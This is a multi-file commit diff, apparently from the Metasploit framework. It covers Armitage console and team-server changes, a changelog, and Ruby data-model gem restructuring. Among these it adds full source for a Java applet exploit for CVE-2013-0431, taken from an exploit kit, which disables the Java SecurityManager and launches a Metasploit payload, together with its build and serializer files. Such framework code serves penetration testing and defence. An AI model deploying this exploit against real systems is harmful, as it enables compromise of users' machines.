push(@POOL, $cc);
|
||||
}
|
||||
}
|
||||
$flag = $null;
|
||||
}
|
||||
|
|
|
@ -57,12 +57,21 @@ sub parseYaml {
|
|||
sub loadPreferences {
|
||||
local('$file $prefs');
|
||||
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
||||
$prefs = [new Properties];
|
||||
if (-exists $file) {
|
||||
[$prefs load: [new java.io.FileInputStream: $file]];
|
||||
if ($__frame__ !is $null && [$__frame__ getPreferences] !is $null) {
|
||||
$prefs = [$__frame__ getPreferences];
|
||||
}
|
||||
else {
|
||||
[$prefs load: resource("resources/armitage.prop")];
|
||||
$prefs = [new Properties];
|
||||
if (-exists $file) {
|
||||
[$prefs load: [new java.io.FileInputStream: $file]];
|
||||
}
|
||||
else {
|
||||
[$prefs load: resource("resources/armitage.prop")];
|
||||
}
|
||||
|
||||
if ($__frame__ !is $null) {
|
||||
[$__frame__ setPreferences: $prefs];
|
||||
}
|
||||
}
|
||||
|
||||
# parse command line options here.
|
||||
|
|
|
@ -290,7 +290,7 @@ sub createShellSessionTab {
|
|||
return;
|
||||
}
|
||||
|
||||
$thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0];
|
||||
$thread = [new ConsoleClient: $console, rand(@POOL), "session.shell_read", "session.shell_write", $null, $sid, 0];
|
||||
[$frame addTab: "Shell $sid", $console, lambda({
|
||||
call_async($mclient, "armitage.unlock", $sid);
|
||||
[$thread kill];
|
||||
|
|
|
@ -78,7 +78,7 @@ sub setupEventStyle {
|
|||
|
||||
sub createDisplayTab {
|
||||
local('$console $host $queue $file');
|
||||
$queue = [new ConsoleQueue: $client];
|
||||
$queue = [new ConsoleQueue: rand(@POOL)];
|
||||
if ($1 eq "Log Keystrokes") {
|
||||
$console = [new ActivityConsole: $preferences];
|
||||
}
|
||||
|
@ -100,7 +100,7 @@ sub createConsolePanel {
|
|||
setupConsoleStyle($console);
|
||||
|
||||
$result = call($client, "console.create");
|
||||
$thread = [new ConsoleClient: $console, $aclient, "console.read", "console.write", "console.destroy", $result['id'], $1];
|
||||
$thread = [new ConsoleClient: $console, rand(@POOL), "console.read", "console.write", "console.destroy", $result['id'], $1];
|
||||
[$thread setMetasploitConsole];
|
||||
|
||||
[$thread setSessionListener: {
|
||||
|
|
|
@ -215,6 +215,7 @@ public class ConsoleClient implements Runnable, ActionListener {
|
|||
Map read;
|
||||
boolean shouldRead = go_read;
|
||||
String command = null;
|
||||
long last = 0;
|
||||
|
||||
try {
|
||||
while (shouldRead) {
|
||||
|
@ -230,21 +231,23 @@ public class ConsoleClient implements Runnable, ActionListener {
|
|||
lastRead = System.currentTimeMillis();
|
||||
}
|
||||
|
||||
read = readResponse();
|
||||
|
||||
if (read == null || "failure".equals( read.get("result") + "" )) {
|
||||
break;
|
||||
}
|
||||
|
||||
processRead(read);
|
||||
|
||||
if ((System.currentTimeMillis() - lastRead) <= 500) {
|
||||
Thread.sleep(10);
|
||||
long now = System.currentTimeMillis();
|
||||
if (this.window != null && !this.window.isShowing() && (now - last) < 1500) {
|
||||
/* check if our window is not showing... if not, then we're going to switch to a very reduced
|
||||
read schedule. */
|
||||
}
|
||||
else {
|
||||
Thread.sleep(500);
|
||||
read = readResponse();
|
||||
if (read == null || "failure".equals( read.get("result") + "" )) {
|
||||
break;
|
||||
}
|
||||
|
||||
processRead(read);
|
||||
last = System.currentTimeMillis();
|
||||
}
|
||||
|
||||
Thread.sleep(100);
|
||||
|
||||
synchronized (listeners) {
|
||||
shouldRead = go_read;
|
||||
}
|
||||
|
|
|
@ -130,6 +130,10 @@ public class Sessions extends ManagedData {
|
|||
}
|
||||
}
|
||||
|
||||
/* calculate the differences and fire some events based on them */
|
||||
Set newSessions = DataUtils.difference(after, before);
|
||||
fireSessionEvents("session_open", newSessions.iterator(), dataz);
|
||||
|
||||
/* calculate sync events and fix the nonsync set */
|
||||
Set newsync = DataUtils.intersection(syncz, nonsync);
|
||||
fireSessionEvents("session_sync", newsync.iterator(), dataz);
|
||||
|
@ -137,11 +141,9 @@ public class Sessions extends ManagedData {
|
|||
/* update our list of non-synced sessions */
|
||||
nonsync.removeAll(syncz);
|
||||
|
||||
/* calculate the differences and fire some events based on them */
|
||||
Set newSessions = DataUtils.difference(after, before);
|
||||
fireSessionEvents("session_open", newSessions.iterator(), dataz);
|
||||
|
||||
newSessions.retainAll(syncz);
|
||||
/* these are sessions that are new and sync'd -- fire events for them... */
|
||||
newSessions.removeAll(newsync); /* we already fired events for these */
|
||||
newSessions.retainAll(syncz); /* keep anything that is synced */
|
||||
fireSessionEvents("session_sync", newSessions.iterator(), dataz);
|
||||
|
||||
Set droppedSessions = DataUtils.difference(before, after);
|
||||
|
|
|
@ -30,11 +30,16 @@ public class UIBridge implements Loadable, Function {
|
|||
if (name.equals("&later")) {
|
||||
final SleepClosure f = BridgeUtilities.getFunction(args, script);
|
||||
final Stack argz = EventManager.shallowCopy(args);
|
||||
SwingUtilities.invokeLater(new Runnable() {
|
||||
public void run() {
|
||||
SleepUtils.runCode(f, "laterz", null, argz);
|
||||
}
|
||||
});
|
||||
if (SwingUtilities.isEventDispatchThread()) {
|
||||
SleepUtils.runCode(f, "laterz", null, argz);
|
||||
}
|
||||
else {
|
||||
SwingUtilities.invokeLater(new Runnable() {
|
||||
public void run() {
|
||||
SleepUtils.runCode(f, "laterz", null, argz);
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return SleepUtils.getEmptyScalar();
|
||||
|
|
|
@ -75,7 +75,8 @@ public class ShellSession implements Runnable {
|
|||
|
||||
/* loop forever waiting for response to come back. If session is dead
|
||||
then this loop will break with an exception */
|
||||
while (true) {
|
||||
long start = System.currentTimeMillis();
|
||||
while ((System.currentTimeMillis() - start) < 60000) {
|
||||
response = readResponse();
|
||||
String data = (response.get("data") + "");
|
||||
|
||||
|
@ -95,6 +96,7 @@ public class ShellSession implements Runnable {
|
|||
|
||||
Thread.sleep(100);
|
||||
}
|
||||
System.err.println(session + " -> " + c.text + " (took longer than anticipated, dropping: " + (System.currentTimeMillis() - start) + ")");
|
||||
}
|
||||
catch (Exception ex) {
|
||||
System.err.println(session + " -> " + c.text + " ( " + response + ")");
|
||||
|
|
|
@ -14,7 +14,7 @@ public class MeterpreterSession implements Runnable {
|
|||
protected String session;
|
||||
protected boolean teammode;
|
||||
|
||||
public static long DEFAULT_WAIT = 12000;
|
||||
public static long DEFAULT_WAIT = 120000;
|
||||
|
||||
private static class Command {
|
||||
public Object token;
|
||||
|
|
|
@ -10,6 +10,7 @@ import javax.xml.transform.*;
|
|||
import javax.xml.transform.dom.*;
|
||||
import javax.xml.transform.stream.*;
|
||||
import org.w3c.dom.*;
|
||||
import armitage.ArmitageBuffer;
|
||||
|
||||
/**
|
||||
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
|
||||
|
@ -85,6 +86,22 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
|
|||
|
||||
protected HashMap locks = new HashMap();
|
||||
protected String address = "";
|
||||
protected HashMap buffers = new HashMap();
|
||||
|
||||
/* help implement our remote buffer API for PQS primitives */
|
||||
public ArmitageBuffer getABuffer(String key) {
|
||||
synchronized (buffers) {
|
||||
ArmitageBuffer buffer;
|
||||
if (buffers.containsKey(key)) {
|
||||
buffer = (ArmitageBuffer)buffers.get(key);
|
||||
}
|
||||
else {
|
||||
buffer = new ArmitageBuffer(16384);
|
||||
buffers.put(key, buffer);
|
||||
}
|
||||
return buffer;
|
||||
}
|
||||
}
|
||||
|
||||
public String getLocalAddress() {
|
||||
return address;
|
||||
|
@ -133,6 +150,23 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
|
|||
locks.remove(params[0] + "");
|
||||
return new HashMap();
|
||||
}
|
||||
else if (methodName.equals("armitage.publish")) {
|
||||
ArmitageBuffer buffer = getABuffer(params[0] + "");
|
||||
buffer.put(params[1] + "");
|
||||
return new HashMap();
|
||||
}
|
||||
else if (methodName.equals("armitage.query")) {
|
||||
ArmitageBuffer buffer = getABuffer(params[0] + "");
|
||||
String data = (String)buffer.get(params[1] + "");
|
||||
HashMap temp = new HashMap();
|
||||
temp.put("data", data);
|
||||
return temp;
|
||||
}
|
||||
else if (methodName.equals("armitage.reset")) {
|
||||
ArmitageBuffer buffer = getABuffer(params[0] + "");
|
||||
buffer.reset();
|
||||
return new HashMap();
|
||||
}
|
||||
else if (hooks.containsKey(methodName)) {
|
||||
RpcConnection con = (RpcConnection)hooks.get(methodName);
|
||||
return con.execute(methodName, params);
|
||||
|
|
|
@ -10,8 +10,48 @@ import table.*;
|
|||
import java.util.*;
|
||||
|
||||
public class ATable extends JTable {
|
||||
public static final String indicator = " \u271A";
|
||||
|
||||
protected boolean alternateBackground = false;
|
||||
|
||||
protected int[] selected = null;
|
||||
|
||||
/* call this function to store selections */
|
||||
public void markSelections() {
|
||||
selected = getSelectedRows();
|
||||
}
|
||||
|
||||
public void fixSelection() {
|
||||
if (selected.length == 0)
|
||||
return;
|
||||
|
||||
getSelectionModel().setValueIsAdjusting(true);
|
||||
|
||||
int rowcount = getModel().getRowCount();
|
||||
|
||||
for (int x = 0; x < selected.length; x++) {
|
||||
if (selected[x] < rowcount) {
|
||||
getSelectionModel().addSelectionInterval(selected[x], selected[x]);
|
||||
}
|
||||
}
|
||||
|
||||
getSelectionModel().setValueIsAdjusting(false);
|
||||
}
|
||||
|
||||
/* call this function to restore selections after a table update */
|
||||
public void restoreSelections() {
|
||||
if (!SwingUtilities.isEventDispatchThread()) {
|
||||
SwingUtilities.invokeLater(new Runnable() {
|
||||
public void run() {
|
||||
fixSelection();
|
||||
}
|
||||
});
|
||||
}
|
||||
else {
|
||||
fixSelection();
|
||||
}
|
||||
}
|
||||
|
||||
public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) {
|
||||
final Set specialitems = new HashSet();
|
||||
specialitems.add("Wordlist");
|
||||
|
@ -39,7 +79,7 @@ public class ATable extends JTable {
|
|||
String content = (value != null ? value : "") + "";
|
||||
|
||||
if (specialitems.contains(content) || content.indexOf("FILE")!= -1) {
|
||||
content = content + " \u271A";
|
||||
content = content + indicator;
|
||||
}
|
||||
|
||||
JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column);
|
||||
|
@ -117,6 +157,47 @@ public class ATable extends JTable {
|
|||
};
|
||||
}
|
||||
|
||||
public static TableCellRenderer getTimeTableRenderer() {
|
||||
return new TableCellRenderer() {
|
||||
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
|
||||
TableCellRenderer render = table.getDefaultRenderer(String.class);
|
||||
|
||||
JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column);
|
||||
|
||||
try {
|
||||
long size = Long.parseLong(value + "");
|
||||
String units = "ms";
|
||||
|
||||
if (size > 1000) {
|
||||
size = size / 1000;
|
||||
units = "s";
|
||||
}
|
||||
else {
|
||||
((JLabel)c).setText(size + units);
|
||||
return c;
|
||||
}
|
||||
|
||||
if (size > 60) {
|
||||
size = size / 60;
|
||||
units = "m";
|
||||
}
|
||||
|
||||
if (size > 60) {
|
||||
size = size / 60;
|
||||
units = "h";
|
||||
}
|
||||
|
||||
((JLabel)c).setText(size + units);
|
||||
}
|
||||
catch (Exception ex) {
|
||||
|
||||
}
|
||||
|
||||
return c;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public void adjust() {
|
||||
setShowGrid(false);
|
||||
setIntercellSpacing(new Dimension(0, 0));
|
||||
|
|
|
@ -17,6 +17,7 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher {
|
|||
protected JPanel content;
|
||||
protected CardLayout cards;
|
||||
protected LinkedList buttons;
|
||||
protected Properties prefs;
|
||||
|
||||
private static class ArmitageInstance {
|
||||
public ArmitageApplication app;
|
||||
|
@ -24,6 +25,14 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher {
|
|||
public RpcConnection client;
|
||||
}
|
||||
|
||||
public void setPreferences(Properties prefs) {
|
||||
this.prefs = prefs;
|
||||
}
|
||||
|
||||
public Properties getPreferences() {
|
||||
return prefs;
|
||||
}
|
||||
|
||||
public Map getClients() {
|
||||
synchronized (buttons) {
|
||||
Map r = new HashMap();
|
||||
|
|
|
@ -1,6 +1,35 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
6 Mar 13 (tested against msf ca43900a7)
|
||||
--------
|
||||
- Active console now gets higher priority when polling msf for output
|
||||
- Improved team server responsiveness in high latency situations by
|
||||
creating additional connections to server to balance messages over
|
||||
- Preferences are now shared among each Armitage connection.
|
||||
|
||||
6 Mar 13 (2000h)
|
||||
--------
|
||||
- Fixed issue with additional team server connections reporting wrong
|
||||
application and receiving a summary rejection by the team server.
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- Added a &publish, &query, &subscribe API to allow inter-script
|
||||
communication across the team server.
|
||||
- Added &table_update to set the contents of a table tab without
|
||||
disturbing the highlighted rows.
|
||||
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
|
||||
due to an error reported by meterpreter.
|
||||
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
|
||||
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
|
||||
command 60s to execute. If it doesn't finish in that time, Cortana
|
||||
will release the lock on the shell so the user can control it.
|
||||
(ideally, this shouldn't happen... this is a safety mechanism)
|
||||
- Changed Meterpreter command timeout to 2m from 12s. This is because
|
||||
https meterpreter might not checkin for up to 60s, if it's been
|
||||
idle for a long time. This will make &m_cmd less likely to timeout
|
||||
|
||||
12 Feb 13 (tested against msf 16438)
|
||||
---------
|
||||
- Fixed a corner case preventing the display of removed host labels
|
||||
|
|
|
@ -0,0 +1,19 @@
|
|||
import java.security.AccessController;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
public class B
|
||||
implements PrivilegedExceptionAction
|
||||
{
|
||||
public B()
|
||||
{
|
||||
try
|
||||
{
|
||||
AccessController.doPrivileged(this); } catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
public Object run() {
|
||||
System.setSecurityManager(null);
|
||||
return new Object();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,93 @@
|
|||
/*
|
||||
* From Paunch with love (Java 1.7.0_11 Exploit)
|
||||
*
|
||||
* Deobfuscated from Cool EK by SecurityObscurity
|
||||
*
|
||||
* https://twitter.com/SecObscurity
|
||||
*/
|
||||
import java.applet.Applet;
|
||||
import com.sun.jmx.mbeanserver.Introspector;
|
||||
import com.sun.jmx.mbeanserver.JmxMBeanServer;
|
||||
import com.sun.jmx.mbeanserver.MBeanInstantiator;
|
||||
import java.lang.invoke.MethodHandle;
|
||||
import java.lang.invoke.MethodHandles.Lookup;
|
||||
import java.lang.invoke.MethodType;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import javax.management.ReflectionException;
|
||||
import java.io.*;
|
||||
import metasploit.Payload;
|
||||
|
||||
public class Exploit extends Applet
|
||||
{
|
||||
|
||||
public void init()
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
int length;
|
||||
byte[] buffer = new byte[5000];
|
||||
ByteArrayOutputStream os = new ByteArrayOutputStream();
|
||||
|
||||
// read in the class file from the jar
|
||||
InputStream is = getClass().getResourceAsStream("B.class");
|
||||
|
||||
// and write it out to the byte array stream
|
||||
while( ( length = is.read( buffer ) ) > 0 )
|
||||
os.write( buffer, 0, length );
|
||||
|
||||
// convert it to a simple byte array
|
||||
buffer = os.toByteArray();
|
||||
|
||||
Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
|
||||
|
||||
Method method = getMethod(class1, "enter", true);
|
||||
Object obj = method.invoke(null, new Object[0]);
|
||||
Method method1 = getMethod(class1, "createClassLoader", false);
|
||||
Object obj1 = method1.invoke(obj, new Object[1]);
|
||||
|
||||
Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
|
||||
Method method2 = getMethod(class2, "defineClass", false);
|
||||
|
||||
Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
|
||||
my_class.newInstance();
|
||||
|
||||
Payload.main(null);
|
||||
|
||||
}
|
||||
catch (Throwable localThrowable){}
|
||||
|
||||
}
|
||||
|
||||
|
||||
private Method getMethod(Class class1, String s, boolean flag)
|
||||
{
|
||||
try {
|
||||
Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
|
||||
Method[] amethod1 = amethod;
|
||||
|
||||
for (int i = 0; i < amethod1.length; i++) {
|
||||
Method method = amethod1[i];
|
||||
String s1 = method.getName();
|
||||
Class[] aclass = method.getParameterTypes();
|
||||
if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
|
||||
}
|
||||
} catch (Exception localException) { }
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
|
||||
{
|
||||
Object obj = null;
|
||||
JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
|
||||
MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
|
||||
|
||||
Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
|
||||
Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
|
||||
return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
|
||||
}
|
||||
|
||||
}
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# rt.jar must be in the classpath!
|
||||
|
||||
CLASSES = \
|
||||
Exploit.java \
|
||||
B.java \
|
||||
Serializer.java
|
||||
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
|
||||
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
java Serializer
|
||||
mv Exploit.class ../../../../data/exploits/cve-2013-0431/
|
||||
mv B.class ../../../../data/exploits/cve-2013-0431/
|
||||
mv Exploit.ser ../../../../data/exploits/cve-2013-0431/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
||||
rm -rf *.ser
|
|
@ -0,0 +1,20 @@
|
|||
import java.io.*;
|
||||
|
||||
public class Serializer {
|
||||
|
||||
public static void main(String [ ] args)
|
||||
{
|
||||
try {
|
||||
Exploit b=new Exploit(); // target Applet instance
|
||||
ByteArrayOutputStream baos=new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos=new ObjectOutputStream(baos);
|
||||
oos.writeObject(b);
|
||||
FileOutputStream fos=new FileOutputStream("Exploit.ser");
|
||||
fos.write(baos.toByteArray());
|
||||
fos.close();
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -49,11 +49,12 @@ httpopenrequest:
|
|||
pop ecx
|
||||
xor edx, edx ; NULL
|
||||
push edx ; dwContext (NULL)
|
||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
|
||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00000200 ; INTERNET_FLAG_NO_UI
|
||||
;0x00000200 | ; INTERNET_FLAG_NO_UI
|
||||
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
|
||||
push edx ; accept types
|
||||
push edx ; referrer
|
||||
push edx ; version
|
||||
|
|
|
@ -188,7 +188,9 @@ module Anemone
|
|||
context,
|
||||
url.scheme == "https",
|
||||
'SSLv23',
|
||||
@opts[:proxies]
|
||||
@opts[:proxies],
|
||||
@opts[:username],
|
||||
@opts[:password]
|
||||
)
|
||||
|
||||
conn.set_config(
|
||||
|
|
|
@ -1,10 +0,0 @@
|
|||
source "http://rubygems.org"
|
||||
|
||||
# Specify your gem's dependencies in metasploit_data_models.gemspec
|
||||
gemspec
|
||||
|
||||
group :test do
|
||||
# rails is only used for testing with a dummy application in spec/dummy
|
||||
gem 'rails'
|
||||
gem 'rspec-rails'
|
||||
end
|
|
@ -1,7 +0,0 @@
|
|||
require 'bundler/gem_tasks'
|
||||
require 'rspec/core/rake_task'
|
||||
|
||||
RSpec::Core::RakeTask.new(:spec)
|
||||
|
||||
task :default => :spec
|
||||
|
|
@ -1,8 +0,0 @@
|
|||
class Mdm::CredFile < ActiveRecord::Base
|
||||
#
|
||||
# Relations
|
||||
#
|
||||
belongs_to :workspace, :class_name => 'Mdm::Workspace'
|
||||
|
||||
ActiveSupport.run_load_hooks(:mdm_cred_file, self)
|
||||
end
|
|
@ -1,16 +0,0 @@
|
|||
class Mdm::WebVuln < ActiveRecord::Base
|
||||
#
|
||||
# Relations
|
||||
#
|
||||
|
||||
belongs_to :web_site, :class_name => 'Mdm::WebSite'
|
||||
|
||||
#
|
||||
# Serializations
|
||||
#
|
||||
|
||||
serialize :params, MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
ActiveSupport.run_load_hooks(:mdm_web_vuln, self)
|
||||
end
|
||||
|
|
@ -1,35 +0,0 @@
|
|||
# 2012-04-23
|
||||
#
|
||||
# Provides ActiveRecord 3.1x-friendly serialization for descendants of
|
||||
# ActiveRecord::Base. Backwards compatible with older YAML methods and
|
||||
# will fall back to string decoding in the worst case
|
||||
#
|
||||
# usage:
|
||||
# serialize :foo, MetasploitDataModels::Base64Serializer.new
|
||||
#
|
||||
module MetasploitDataModels
|
||||
class Base64Serializer
|
||||
def load(value)
|
||||
return {} if value.blank?
|
||||
begin
|
||||
# Load the unpacked Marshal object first
|
||||
Marshal.load(value.unpack('m').first)
|
||||
rescue
|
||||
begin
|
||||
# Support legacy YAML encoding for existing data
|
||||
YAML.load(value)
|
||||
rescue
|
||||
# Fall back to string decoding
|
||||
value
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def dump(value)
|
||||
# Always store data back in the Marshal format
|
||||
[ Marshal.dump(value) ].pack('m')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -1,7 +0,0 @@
|
|||
require 'rails'
|
||||
|
||||
module MetasploitDataModels
|
||||
class Engine < Rails::Engine
|
||||
|
||||
end
|
||||
end
|
|
@ -1,7 +0,0 @@
|
|||
module MetasploitDataModels
|
||||
# MetasploitDataModels follows the {Semantic Versioning Specification http://semver.org/}. At this time, the API
|
||||
# is considered unstable because the database migrations are still in metasploit-framework and certain models may not
|
||||
# be shared between metasploit-framework and pro, so models may be removed in the future. Because of the unstable API
|
||||
# the version should remain below 1.0.0
|
||||
VERSION = '0.3.0'
|
||||
end
|
|
@ -1,22 +0,0 @@
|
|||
require "spec_helper"
|
||||
|
||||
module MetasploitDataModels
|
||||
describe Base64Serializer do
|
||||
subject{Base64Serializer.new}
|
||||
|
||||
let(:test_value){{:foo => "bar", :baz => "baz"}}
|
||||
|
||||
# We make it same way as in class b/c hard to keep a reliable base64
|
||||
# string literal as a fixture
|
||||
let(:base64_fixture){[Marshal.dump(test_value)].pack('m')}
|
||||
|
||||
it "should turn a Hash into proper base64" do
|
||||
subject.dump(test_value).should == base64_fixture
|
||||
end
|
||||
|
||||
it "should turn base64 back into a Hash" do
|
||||
subject.load(base64_fixture).should == test_value
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -6,13 +6,19 @@
|
|||
*.gem
|
||||
# Rubymine project configuration
|
||||
.idea
|
||||
# logs
|
||||
*.log
|
||||
# Don't check in rvmrc since this is a gem
|
||||
.rvmrc
|
||||
# YARD database
|
||||
.yardoc
|
||||
# coverage report directory for simplecov/Rubymine
|
||||
coverage
|
||||
# generated yardocs
|
||||
doc
|
||||
# Installed gem versions. Not stored for the same reasons as .rvmrc
|
||||
Gemfile.lock
|
||||
# Packaging directory for builds
|
||||
pkg/*
|
||||
# Database configuration (with passwords) for specs
|
||||
spec/dummy/config/database.yml
|
||||
# logs
|
||||
*.log
|
|
@ -0,0 +1,38 @@
|
|||
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
|
||||
# controlled by running with coverage, so don't explicitly start coverage (and
|
||||
# therefore generate a report) when in Rubymine. This _will_ generate a report
|
||||
# whenever `rake spec` is run.
|
||||
unless ENV['RM_INFO']
|
||||
SimpleCov.start
|
||||
end
|
||||
|
||||
SimpleCov.configure do
|
||||
load_adapter('rails')
|
||||
|
||||
# ignore this file
|
||||
add_filter '.simplecov'
|
||||
|
||||
#
|
||||
# Changed Files in Git Group
|
||||
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
|
||||
#
|
||||
|
||||
untracked = `git ls-files --exclude-standard --others`
|
||||
unstaged = `git diff --name-only`
|
||||
staged = `git diff --name-only --cached`
|
||||
all = untracked + unstaged + staged
|
||||
changed_filenames = all.split("\n")
|
||||
|
||||
add_group 'Changed' do |source_file|
|
||||
changed_filenames.detect { |changed_filename|
|
||||
source_file.filename.end_with?(changed_filename)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Specs are reported on to ensure that all examples are being run and all
|
||||
# lets, befores, afters, etc are being used.
|
||||
#
|
||||
|
||||
add_group 'Specs', 'spec'
|
||||
end
|
|
@ -0,0 +1,4 @@
|
|||
--markup markdown
|
||||
--protected
|
||||
{app,lib}/**/*.rb
|
||||
db/migrate/*.rb
|
|
@ -0,0 +1,25 @@
|
|||
source "http://rubygems.org"
|
||||
|
||||
# Specify your gem's dependencies in metasploit_data_models.gemspec
|
||||
gemspec
|
||||
|
||||
# used by dummy application
|
||||
group :development, :test do
|
||||
# supplies factories for producing model instance for specs
|
||||
# Version 4.1.0 or newer is needed to support generate calls without the 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# auto-load factories from spec/factories
|
||||
gem 'factory_girl_rails'
|
||||
# rails is only used for the dummy application in spec/dummy
|
||||
gem 'rails'
|
||||
end
|
||||
|
||||
group :test do
|
||||
# In a full rails project, factory_girl_rails would be in both the :development, and :test group, but since we only
|
||||
# want rails in :test, factory_girl_rails must also only be in :test.
|
||||
# add matchers from shoulda, such as validates_presence_of, which are useful for testing validations
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage of tests
|
||||
gem 'simplecov', :require => false
|
||||
gem 'rspec-rails'
|
||||
end
|
|
@ -1,4 +1,4 @@
|
|||
Copyright (C) 2012, Rapid7 LLC
|
||||
Copyright (C) 2012, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
|
@ -0,0 +1,53 @@
|
|||
#!/usr/bin/env rake
|
||||
begin
|
||||
require 'bundler/setup'
|
||||
rescue LoadError
|
||||
puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
|
||||
end
|
||||
|
||||
print_without = false
|
||||
APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__)
|
||||
|
||||
begin
|
||||
load 'rails/tasks/engine.rake'
|
||||
rescue LoadError
|
||||
puts "railties not in bundle, so can't load engine tasks."
|
||||
print_without = true
|
||||
end
|
||||
|
||||
Bundler::GemHelper.install_tasks
|
||||
|
||||
#
|
||||
# load rake files like a normal rails app
|
||||
# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl
|
||||
#
|
||||
|
||||
pathname = Pathname.new(__FILE__)
|
||||
root = pathname.parent
|
||||
rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path
|
||||
|
||||
Dir.glob(rakefile_glob) do |rakefile|
|
||||
load rakefile
|
||||
end
|
||||
|
||||
begin
|
||||
require 'rspec/core'
|
||||
rescue LoadError
|
||||
puts "rspec not in bundle, so can't set up spec tasks. " \
|
||||
"To run specs ensure to install the development and test groups."
|
||||
print_without = true
|
||||
else
|
||||
require 'rspec/core/rake_task'
|
||||
|
||||
# Depend on app:db:test:prepare so that test database is recreated just like in a full rails app
|
||||
# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl
|
||||
RSpec::Core::RakeTask.new(:spec => 'app:db:test:prepare')
|
||||
|
||||
task :default => :spec
|
||||
end
|
||||
|
||||
if print_without
|
||||
puts "Bundle currently installed '--without #{Bundler.settings.without.join(' ')}'."
|
||||
puts "To clear the without option do `bundle install --without ''` (the --without flag with an empty string) or " \
|
||||
"`rm -rf .bundle` to remove the .bundle/config manually and then `bundle install`"
|
||||
end
|
|
@ -20,13 +20,6 @@ class Mdm::User < ActiveRecord::Base
|
|||
serialized_prefs_attr_accessor :time_zone, :session_key
|
||||
serialized_prefs_attr_accessor :last_login_address # specifically NOT last_login_ip to prevent confusion with AuthLogic magic columns (which dont work for serialized fields)
|
||||
|
||||
#
|
||||
# Validations
|
||||
#
|
||||
|
||||
validates :password, :password_is_strong => true
|
||||
validates :password_confirmation, :password_is_strong => true
|
||||
|
||||
ActiveSupport.run_load_hooks(:mdm_user, self)
|
||||
end
|
||||
|
|
@ -0,0 +1,191 @@
|
|||
# A Web Vulnerability found during a web scan or web audit.
|
||||
#
|
||||
# If you need to modify Mdm::WebVuln you can use ActiveSupport.on_load(:mdm_web_vuln) inside an initializer so that
|
||||
# your patches are reloaded on each request in development mode for your Rails application.
|
||||
#
|
||||
# @example extending Mdm::WebVuln
|
||||
# # config/initializers/mdm_web_vuln.rb
|
||||
# ActiveSupport.on_load(:mdm_web_vuln) do
|
||||
# def confidence_percentage
|
||||
# "#{confidence}%"
|
||||
# end
|
||||
# end
|
||||
